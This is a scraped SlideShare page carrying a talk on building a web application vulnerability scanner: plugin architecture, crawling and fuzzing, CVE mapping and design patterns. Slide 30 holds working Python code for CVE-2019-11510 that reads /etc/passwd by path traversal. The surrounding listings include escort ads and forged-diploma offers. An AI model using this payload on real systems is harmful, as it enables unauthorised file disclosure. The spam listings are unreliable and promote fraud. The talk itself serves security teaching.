PHÂN TÍCH MỘT SỐ CUỘC TẤN CÔNG APT ĐIỂN HÌNH NHẮM VÀO VIỆT NAM 2017-2018Security Bootcamp
 
Lannguyen-Detecting Cyber Attacks
Lannguyen-Detecting Cyber AttacksLannguyen-Detecting Cyber Attacks
Lannguyen-Detecting Cyber AttacksSecurity Bootcamp
 
Letrungnghia-gopyluananm2018
Letrungnghia-gopyluananm2018Letrungnghia-gopyluananm2018
Letrungnghia-gopyluananm2018Security Bootcamp
 
Cyber Attacks on Financial _ Vikjava
Cyber Attacks on Financial _ VikjavaCyber Attacks on Financial _ Vikjava
Cyber Attacks on Financial _ VikjavaSecurity Bootcamp
 
Tran Minh Tri - Bao mat du lieu thoi ky [3.0]
Tran Minh Tri - Bao mat du lieu thoi ky [3.0]Tran Minh Tri - Bao mat du lieu thoi ky [3.0]
Tran Minh Tri - Bao mat du lieu thoi ky [3.0]Security Bootcamp
 

Más de Security Bootcamp (20)

Ransomware is Knocking your Door_Final.pdf
Ransomware is Knocking your Door_Final.pdfRansomware is Knocking your Door_Final.pdf
Ransomware is Knocking your Door_Final.pdf
 
Hieupc-The role of psychology in enhancing cybersecurity
Hieupc-The role of psychology in enhancing cybersecurityHieupc-The role of psychology in enhancing cybersecurity
Hieupc-The role of psychology in enhancing cybersecurity
 
Sbc 2020 bao gio vn co anm dua vao cong nghe mo
Sbc 2020 bao gio vn co anm dua vao cong nghe moSbc 2020 bao gio vn co anm dua vao cong nghe mo
Sbc 2020 bao gio vn co anm dua vao cong nghe mo
 
Deception change-the-game
Deception change-the-gameDeception change-the-game
Deception change-the-game
 
Giam sat thu dong thong tin an toan hang hai su dung sdr
Giam sat thu dong thong tin an toan hang hai su dung sdrGiam sat thu dong thong tin an toan hang hai su dung sdr
Giam sat thu dong thong tin an toan hang hai su dung sdr
 
Sbc2019 luong-cyber startup
Sbc2019 luong-cyber startupSbc2019 luong-cyber startup
Sbc2019 luong-cyber startup
 
Insider threat-what-us-do d-want
Insider threat-what-us-do d-wantInsider threat-what-us-do d-want
Insider threat-what-us-do d-want
 
Macro malware common techniques - public
Macro malware common techniques - publicMacro malware common techniques - public
Macro malware common techniques - public
 
Tim dieu moi trong nhung dieu cu
Tim dieu moi trong nhung dieu cuTim dieu moi trong nhung dieu cu
Tim dieu moi trong nhung dieu cu
 
Threat detection with 0 cost
Threat detection with 0 costThreat detection with 0 cost
Threat detection with 0 cost
 
Build SOC
Build SOC Build SOC
Build SOC
 
AD red vs blue
AD red vs blueAD red vs blue
AD red vs blue
 
Securitybox
SecurityboxSecuritybox
Securitybox
 
GOLDEN TICKET - Hiểm hoa tiềm ẩn trong hệ thống Active Directory
GOLDEN TICKET - Hiểm hoa tiềm ẩn trong hệ thống Active DirectoryGOLDEN TICKET - Hiểm hoa tiềm ẩn trong hệ thống Active Directory
GOLDEN TICKET - Hiểm hoa tiềm ẩn trong hệ thống Active Directory
 
PHÂN TÍCH MỘT SỐ CUỘC TẤN CÔNG APT ĐIỂN HÌNH NHẮM VÀO VIỆT NAM 2017-2018
PHÂN TÍCH MỘT SỐ CUỘC TẤN CÔNG APT ĐIỂN HÌNH NHẮM VÀO VIỆT NAM 2017-2018PHÂN TÍCH MỘT SỐ CUỘC TẤN CÔNG APT ĐIỂN HÌNH NHẮM VÀO VIỆT NAM 2017-2018
PHÂN TÍCH MỘT SỐ CUỘC TẤN CÔNG APT ĐIỂN HÌNH NHẮM VÀO VIỆT NAM 2017-2018
 
Api security-present
Api security-presentApi security-present
Api security-present
 
Lannguyen-Detecting Cyber Attacks
Lannguyen-Detecting Cyber AttacksLannguyen-Detecting Cyber Attacks
Lannguyen-Detecting Cyber Attacks
 
Letrungnghia-gopyluananm2018
Letrungnghia-gopyluananm2018Letrungnghia-gopyluananm2018
Letrungnghia-gopyluananm2018
 
Cyber Attacks on Financial _ Vikjava
Cyber Attacks on Financial _ VikjavaCyber Attacks on Financial _ Vikjava
Cyber Attacks on Financial _ Vikjava
 
Tran Minh Tri - Bao mat du lieu thoi ky [3.0]
Tran Minh Tri - Bao mat du lieu thoi ky [3.0]Tran Minh Tri - Bao mat du lieu thoi ky [3.0]
Tran Minh Tri - Bao mat du lieu thoi ky [3.0]
 

Último

Trump Diapers Over Dems t shirts Sweatshirt
Trump Diapers Over Dems t shirts SweatshirtTrump Diapers Over Dems t shirts Sweatshirt
Trump Diapers Over Dems t shirts Sweatshirtrahman018755
 
Real Men Wear Diapers T Shirts sweatshirt
Real Men Wear Diapers T Shirts sweatshirtReal Men Wear Diapers T Shirts sweatshirt
Real Men Wear Diapers T Shirts sweatshirtrahman018755
 
pdfcoffee.com_business-ethics-q3m7-pdf-free.pdf
pdfcoffee.com_business-ethics-q3m7-pdf-free.pdfpdfcoffee.com_business-ethics-q3m7-pdf-free.pdf
pdfcoffee.com_business-ethics-q3m7-pdf-free.pdfJOHNBEBONYAP1
 
best call girls in Hyderabad Finest Escorts Service 📞 9352988975 📞 Available ...
best call girls in Hyderabad Finest Escorts Service 📞 9352988975 📞 Available ...best call girls in Hyderabad Finest Escorts Service 📞 9352988975 📞 Available ...
best call girls in Hyderabad Finest Escorts Service 📞 9352988975 📞 Available ...kajalverma014
 
APNIC Updates presented by Paul Wilson at ARIN 53
APNIC Updates presented by Paul Wilson at ARIN 53APNIC Updates presented by Paul Wilson at ARIN 53
APNIC Updates presented by Paul Wilson at ARIN 53APNIC
 
哪里办理美国迈阿密大学毕业证(本硕)umiami在读证明存档可查
哪里办理美国迈阿密大学毕业证(本硕)umiami在读证明存档可查哪里办理美国迈阿密大学毕业证(本硕)umiami在读证明存档可查
哪里办理美国迈阿密大学毕业证(本硕)umiami在读证明存档可查ydyuyu
 
Meaning of On page SEO & its process in detail.
Meaning of On page SEO & its process in detail.Meaning of On page SEO & its process in detail.
Meaning of On page SEO & its process in detail.krishnachandrapal52
 
20240507 QFM013 Machine Intelligence Reading List April 2024.pdf
20240507 QFM013 Machine Intelligence Reading List April 2024.pdf20240507 QFM013 Machine Intelligence Reading List April 2024.pdf
20240507 QFM013 Machine Intelligence Reading List April 2024.pdfMatthew Sinclair
 
Russian Call girls in Abu Dhabi 0508644382 Abu Dhabi Call girls
Russian Call girls in Abu Dhabi 0508644382 Abu Dhabi Call girlsRussian Call girls in Abu Dhabi 0508644382 Abu Dhabi Call girls
Russian Call girls in Abu Dhabi 0508644382 Abu Dhabi Call girlsMonica Sydney
 
Power point inglese - educazione civica di Nuria Iuzzolino
Power point inglese - educazione civica di Nuria IuzzolinoPower point inglese - educazione civica di Nuria Iuzzolino
Power point inglese - educazione civica di Nuria Iuzzolinonuriaiuzzolino1
 
Story Board.pptxrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
Story Board.pptxrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrStory Board.pptxrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
Story Board.pptxrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrHenryBriggs2
 
PowerDirector Explination Process...pptx
PowerDirector Explination Process...pptxPowerDirector Explination Process...pptx
PowerDirector Explination Process...pptxgalaxypingy
 
一比一原版(Flinders毕业证书)弗林德斯大学毕业证原件一模一样
一比一原版(Flinders毕业证书)弗林德斯大学毕业证原件一模一样一比一原版(Flinders毕业证书)弗林德斯大学毕业证原件一模一样
一比一原版(Flinders毕业证书)弗林德斯大学毕业证原件一模一样ayvbos
 
20240510 QFM016 Irresponsible AI Reading List April 2024.pdf
20240510 QFM016 Irresponsible AI Reading List April 2024.pdf20240510 QFM016 Irresponsible AI Reading List April 2024.pdf
20240510 QFM016 Irresponsible AI Reading List April 2024.pdfMatthew Sinclair
 
APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...
APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...
APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...APNIC
 
在线制作约克大学毕业证（yu毕业证）在读证明认证可查
在线制作约克大学毕业证（yu毕业证）在读证明认证可查在线制作约克大学毕业证（yu毕业证）在读证明认证可查
在线制作约克大学毕业证（yu毕业证）在读证明认证可查ydyuyu
 
75539-Cyber Security Challenges PPT.pptx
75539-Cyber Security Challenges PPT.pptx75539-Cyber Security Challenges PPT.pptx
75539-Cyber Security Challenges PPT.pptxAsmae Rabhi
 
2nd Solid Symposium: Solid Pods vs Personal Knowledge Graphs
2nd Solid Symposium: Solid Pods vs Personal Knowledge Graphs2nd Solid Symposium: Solid Pods vs Personal Knowledge Graphs
2nd Solid Symposium: Solid Pods vs Personal Knowledge GraphsEleniIlkou
 
Microsoft Azure Arc Customer Deck Microsoft
Microsoft Azure Arc Customer Deck MicrosoftMicrosoft Azure Arc Customer Deck Microsoft
Microsoft Azure Arc Customer Deck MicrosoftAanSulistiyo
 
20240509 QFM015 Engineering Leadership Reading List April 2024.pdf
20240509 QFM015 Engineering Leadership Reading List April 2024.pdf20240509 QFM015 Engineering Leadership Reading List April 2024.pdf
20240509 QFM015 Engineering Leadership Reading List April 2024.pdfMatthew Sinclair
 

Último (20)

Trump Diapers Over Dems t shirts Sweatshirt
Trump Diapers Over Dems t shirts SweatshirtTrump Diapers Over Dems t shirts Sweatshirt
Trump Diapers Over Dems t shirts Sweatshirt
 
Real Men Wear Diapers T Shirts sweatshirt
Real Men Wear Diapers T Shirts sweatshirtReal Men Wear Diapers T Shirts sweatshirt
Real Men Wear Diapers T Shirts sweatshirt
 
pdfcoffee.com_business-ethics-q3m7-pdf-free.pdf
pdfcoffee.com_business-ethics-q3m7-pdf-free.pdfpdfcoffee.com_business-ethics-q3m7-pdf-free.pdf
pdfcoffee.com_business-ethics-q3m7-pdf-free.pdf
 
best call girls in Hyderabad Finest Escorts Service 📞 9352988975 📞 Available ...
best call girls in Hyderabad Finest Escorts Service 📞 9352988975 📞 Available ...best call girls in Hyderabad Finest Escorts Service 📞 9352988975 📞 Available ...
best call girls in Hyderabad Finest Escorts Service 📞 9352988975 📞 Available ...
 
APNIC Updates presented by Paul Wilson at ARIN 53
APNIC Updates presented by Paul Wilson at ARIN 53APNIC Updates presented by Paul Wilson at ARIN 53
APNIC Updates presented by Paul Wilson at ARIN 53
 
哪里办理美国迈阿密大学毕业证(本硕)umiami在读证明存档可查
哪里办理美国迈阿密大学毕业证(本硕)umiami在读证明存档可查哪里办理美国迈阿密大学毕业证(本硕)umiami在读证明存档可查
哪里办理美国迈阿密大学毕业证(本硕)umiami在读证明存档可查
 
Meaning of On page SEO & its process in detail.
Meaning of On page SEO & its process in detail.Meaning of On page SEO & its process in detail.
Meaning of On page SEO & its process in detail.
 
20240507 QFM013 Machine Intelligence Reading List April 2024.pdf
20240507 QFM013 Machine Intelligence Reading List April 2024.pdf20240507 QFM013 Machine Intelligence Reading List April 2024.pdf
20240507 QFM013 Machine Intelligence Reading List April 2024.pdf
 
Russian Call girls in Abu Dhabi 0508644382 Abu Dhabi Call girls
Russian Call girls in Abu Dhabi 0508644382 Abu Dhabi Call girlsRussian Call girls in Abu Dhabi 0508644382 Abu Dhabi Call girls
Russian Call girls in Abu Dhabi 0508644382 Abu Dhabi Call girls
 
Power point inglese - educazione civica di Nuria Iuzzolino
Power point inglese - educazione civica di Nuria IuzzolinoPower point inglese - educazione civica di Nuria Iuzzolino
Power point inglese - educazione civica di Nuria Iuzzolino
 
Story Board.pptxrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
Story Board.pptxrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrStory Board.pptxrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
Story Board.pptxrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrrr
 
PowerDirector Explination Process...pptx
PowerDirector Explination Process...pptxPowerDirector Explination Process...pptx
PowerDirector Explination Process...pptx
 
一比一原版(Flinders毕业证书)弗林德斯大学毕业证原件一模一样
一比一原版(Flinders毕业证书)弗林德斯大学毕业证原件一模一样一比一原版(Flinders毕业证书)弗林德斯大学毕业证原件一模一样
一比一原版(Flinders毕业证书)弗林德斯大学毕业证原件一模一样
 
20240510 QFM016 Irresponsible AI Reading List April 2024.pdf
20240510 QFM016 Irresponsible AI Reading List April 2024.pdf20240510 QFM016 Irresponsible AI Reading List April 2024.pdf
20240510 QFM016 Irresponsible AI Reading List April 2024.pdf
 
APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...
APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...
APNIC Policy Roundup, presented by Sunny Chendi at the 5th ICANN APAC-TWNIC E...
 
在线制作约克大学毕业证（yu毕业证）在读证明认证可查
在线制作约克大学毕业证（yu毕业证）在读证明认证可查在线制作约克大学毕业证（yu毕业证）在读证明认证可查
在线制作约克大学毕业证（yu毕业证）在读证明认证可查
 
75539-Cyber Security Challenges PPT.pptx
75539-Cyber Security Challenges PPT.pptx75539-Cyber Security Challenges PPT.pptx
75539-Cyber Security Challenges PPT.pptx
 
2nd Solid Symposium: Solid Pods vs Personal Knowledge Graphs
2nd Solid Symposium: Solid Pods vs Personal Knowledge Graphs2nd Solid Symposium: Solid Pods vs Personal Knowledge Graphs
2nd Solid Symposium: Solid Pods vs Personal Knowledge Graphs
 
Microsoft Azure Arc Customer Deck Microsoft
Microsoft Azure Arc Customer Deck MicrosoftMicrosoft Azure Arc Customer Deck Microsoft
Microsoft Azure Arc Customer Deck Microsoft
 
20240509 QFM015 Engineering Leadership Reading List April 2024.pdf
20240509 QFM015 Engineering Leadership Reading List April 2024.pdf20240509 QFM015 Engineering Leadership Reading List April 2024.pdf
20240509 QFM015 Engineering Leadership Reading List April 2024.pdf
 

Nguyen Huu Trung - Building a web vulnerability scanner - From a hacker’s view

  • 1. Trung Nguyen Building a high performance Web Application Vulnerability Scanner
  • 2. › @everping › Founder & CEO at CyStack › Security Researcher, Bug Hunter, Computer Engineer › Discovered critical vulnerabilities and acknowledged by Microsoft, IBM, D-LINK, HP, Delloite Whoami
  • 3. › What is a WAVS? › Why do we need WAVS? › Architecture and Design › Challenges Agenda
  • 4. What is a WAVS?
  • 5. Web Application Vulnerability Scanners are automated tools that scan web applications, normally from the outside, to look for security vulnerabilities such as Cross-site scripting, SQL Injection, Command Injection, Path Traversal and insecure server configuration
  • 6. Why do we need WAVS?
  • 7. › Discover attack surfaces (URLs, headers, open ports) › Gather information about the target (OS, Web frameworks, built-in technologies, sitemap) › Detect non-business logic vulnerabilities (SQLi, XSS, SSTi) › Detect misconfigurations For pentesters
  • 8. › Get similar advantages as pentesters get › See an overview of security risks in web applications › Integrate findings into vulnerability management › Save cost against basic security flaws For businesses
  • 9. Should we create our own WAVS?
  • 10. NO Except you do it due to educational purposes or clear commercial purposes
  • 11. › User doesn’t like the way scanner X implements a feature › User has free time › User starts writing his own scanner and usually succeeds in implementing the one feature he really needed › The new web application scanner only works on a small subset of sites, since it doesn’t know how to extract links other than the ones in tags, or can’t handle broken HTML, or is too slow to be used on any site with more than a few hundred pages. › The creator of the new tool maintains it for six months › The project dies when the project lead finds more interesting things to do, finds a tool that did what he needed, changes jobs, etc. The usual timeline
  • 12. It’s time to build
  • 13. Security testing in the wild Discovery Vulnerability Analysis Exploitation Follow the tactical exploitation
  • 14. Security testing in the wild Discovery Vulnerability Analysis Exploitation This is the process for discovering as much background information about the target as possible including, hosts, operating systems, topology, etc.
  • 15. Security testing in the wild Discovery Vulnerability Analysis Exploitation Vulnerability analysis is the process of discovering flaws in systems and applications which can be leveraged by an attacker.
  • 16. Security testing in the wild Discovery Vulnerability Analysis Exploitation The exploitation focuses solely on establishing access to a system or resource by bypassing security restrictions.
  • 17. › Scalability: Adding new vulnerability signatures easily › Stability: Taking up less RAM and CPU › Reliability: Finding vulnerabilities with low false positive Requirements
  • 19. Architecture Core Plugins Apply the plugin-based architecture Core › Manages the main flow › Coordinates the processes, threads › Provides APIs to resuse by plugins Plugins › Find flaws directly › Get data from the core › Share information gathered for other components/plugins via the core apis
  • 20. Plugins › Infrastructure: Gather all information about the target such as sitemap, headers, OS, web framework, etc. It runs in a loop which the output of one discovery plugin is sent as input to the next plugin › Subdomain: Find all sub-domains from the root domain › Audit: Take the output of discovery plugins and find vulnerabilities by fuzzing › Attack: Try to exploit by using confirmed finding from audit plugins › Other plugins: Output, mangle, evasion, grep, brute force
  • 23. Crawling and Fuzzing › The main component is a crawler › The crawler gets the seed URL and finds all possible URLs of the target Seed URL Requester Parse Document HTTP Response URL Queue The URL is not in the queue URL Pack The URL is in the queue? Fuzzable Request
  • 24. Crawling and Fuzzing Knowledge Base Pack Debugger Raw fuzz data Fuzzable Request Mutant
  • 25. Crawling and Fuzzing › Normally use for finding 0-day vulnerabilities or common vulnerabilities (SQLi, XSS, etc) › Complex to implement a new plugin › Take high rate of false positives
  • 26. CPE and CVE mapping › Detect the name and version of all possible technologies, frameworks of the target › Convert findings to CPEs (Common Platform Enumeration) strings › CPE is a structured naming scheme for information technology systems, software, and packages. › Find CVEs map with those CPEs cpe:2.3:o:linux:linux_kernel:2.6.0:*:*:*:*:*:*:* cpe:/o:linux:linux_kernel:2.6.0
  • 27. CPE and CVE mapping › Sometimes, converting name and version to CPE format is impossible › Building your own threat intelligence or vulnerability DB is required
  • 28. Public exploits tesing › As know as blind testing › Run known exploit code with your target. If the response matches the signature, the target is vulnerable › Detecting technologies is not really necessary
  • 29. Public exploits tesing › Normally use for finding 1-day vulnerabilities, CVEs, known and public exploits for specific applications or frameworks › Easy to implement a new plugin › Take low rate of false positives
  • 30. Public exploits tesing class Cve201911510(AttackPlugin): def __init__(self): super().__init__() self.path = '/dana-na' self.payload = self.generate_payload() def generate_payload(self, file_name=''): if file_name == '': file_name = '/etc/passwd' payload = f'/../dana/html5acc/guacamole/../../../../../../..{fil e_name}?/dana/html5acc/guacamole/' return payload def real_exploit(self, url): resp = self.requester.get(url + self.payload, path_as_is=True) if 'root:x:0' in resp.text: return True return False
  • 32. Program languages › The main language depends on the environment that the scanner is installed › If the scanner is distributed as a desktop app, it should be written in low-level language to protect against reverse engineering. Python is a bad choice. › If the scanner is delivered as a service, the language is not a problem › The core can be written in any program languages › The plugins should be written in scripting languages such as python, LUA, or even your own language for scalability
  • 33. Code design › Design pattern is very important if you’d like to scale up the scanner class CoreStrategy(object): def start(self): try: target = self._core.base_target if not target.is_valid(): logger.error('The target is not valid') return if target.get_type() == TYPE_URL: self.discover() self.attack() self.audit() else: self.discover() self.attack() except ScanMustStopException: logger.error('[!] The scan will be finished now') except: logger.error() Strategy Pattern
  • 34. Code design › Design pattern is very important if you’d like to scale up the scanner def real_exploit(self, url): """ This method MUST be implemented on every plugin. :param url: url to test whether it can be exploited or not :return: True if it is vulnerable. Otherwise, false. """ msg = 'Plugin is not implementing required method real_exploit' raise NotImplementException(msg) Abstract Pattern
  • 35. Code design › Design pattern is very important if you’d like to scale up the scanner def real_exploit(self, url): """ This method MUST be implemented on every plugin. :param url: url to test whether it can be exploited or not :return: True if it is vulnerable. Otherwise, false. """ msg = 'Plugin is not implementing required method real_exploit' raise NotImplementException(msg) Abstract Pattern
  • 36. Code design › Design pattern is very important if you’d like to scale up the scanner def factory(module_name, *args): """ This function creates an instance of a class that's inside a module with the same name. Example : >> cve_2015_4852 = factory( 'exploits.plugins.attack.cve_2015_4852' ) >> cve_2015_4852.get_name() >> 'CVE-2015-4852' :param module_name: Which plugin do you need? :return: An instance. """ Factory Pattern
  • 38. › The traditional crawler does not work with JS-based website or single page application (Angular, VueJS, React) Javascript crawling
  • 39. › Available solutions: Using headless browsers to render JS at the client side (Chronium, Firefox, PhantomJS, Splash, etc) › Cons: Those engines take up a lot of computer resources (RAM, CPU) and the rendering speed is slow Javascript crawling
  • 40. › Scanners normally take a lot of › I/O resources since performing many requests to outside › CPU since it has to be analyzed continuously › RAM since using multi-thread design or forgetting to free unnecessary memory High overhead
  • 41. › Solutions › Optimize your code › Should use low-level program languages High overhead
  • 43. https://blog.com/news/n1.html https://blog.com/news/n2.html https://blog.com/news/n3.html Similarity URLs Below URLs are similarity But a scanner can crawl all of them, which leads to an increase in the time scan
  • 44. › Many web applications handle requests not in the way we expect (e.g return status code 200 for not found pages) › Delay in connections › The web content includes vulnerability signatures False positives
  • 45. › Solution: Fix case by case False positives
  • 46. › Identify the appropriate form field (email, phone, name, city) › Authenticate the target › Crawl and fuzz APIs › Deal with business logic vulnerabilities Others